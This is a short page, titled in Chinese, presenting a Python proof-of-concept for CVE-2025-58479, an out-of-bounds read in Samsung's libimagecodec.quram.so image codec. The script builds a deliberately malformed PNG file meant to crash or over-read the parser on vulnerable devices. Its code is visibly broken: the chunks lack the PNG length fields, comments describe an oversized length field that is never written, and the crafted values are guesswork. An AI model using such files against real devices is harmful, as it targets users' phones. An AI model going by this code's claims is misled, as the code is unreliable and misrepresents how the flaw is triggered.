CVE-2025-58479 Samsung libimagecodec.quram.so越界读取漏洞

''' CVE-2025-58479 PoC - Out-of-bounds Read in libimagecodec.quram.so Note: This is a conceptual PoC for educational and security research purposes only. Do not use this code for malicious activities. ''' import struct import os def create_malicious_image(): """ Create a malformed image file that may trigger out-of-bounds read in Samsung's libimagecodec.quram.so library. This PoC generates a specially crafted image with: - Abnormal header that may confuse the parser - Malformed chunk sizes that could cause boundary violations - Invalid dimension values """ # PNG signature png_sig = b'\x89PNG\r\n\x1a\n' # IHDR chunk with potentially invalid dimensions # Width and height set to extreme values to trigger bounds check bypass ihdr_data = struct.pack('>II', 0x7FFFFFFF, 0x7FFFFFFF) # Max int dimensions ihdr_data += struct.pack('>BBBBB', 8, 6, 0, 0, 0) # Bit depth, color type, etc. ihdr_chunk = b'IHDR' + ihdr_data ihdr_crc = struct.pack('>I', 0xDEADBEEF) # Invalid CRC # Crafted IDAT chunk with oversized data length field # This may cause the parser to read beyond allocated buffer malicious_data = b'\x00' * 1024 + b'\xFF' * 256 idat_chunk = b'IDAT' + malicious_data idat_crc = struct.pack('>I', 0xCAFEBABE) # Invalid CRC # IEND chunk iend_chunk = b'IEND' + b'' iend_crc = struct.pack('>I', 0xAE426082) # Combine chunks malicious_png = png_sig + ihdr_chunk + ihdr_crc + idat_chunk + idat_crc + iend_chunk + iend_crc return malicious_png def save_poc_file(filename='CVE-2025-58479_poc.png'): """Save the PoC image file""" poc_data = create_malicious_image() with open(filename, 'wb') as f: f.write(poc_data) print(f'[+] PoC file created: {filename}') print(f'[+] File size: {len(poc_data)} bytes') print('[!] This file is designed to trigger CVE-2025-58479') print('[!] Do not open with Samsung devices running vulnerable firmware') if __name__ == '__main__': save_poc_file()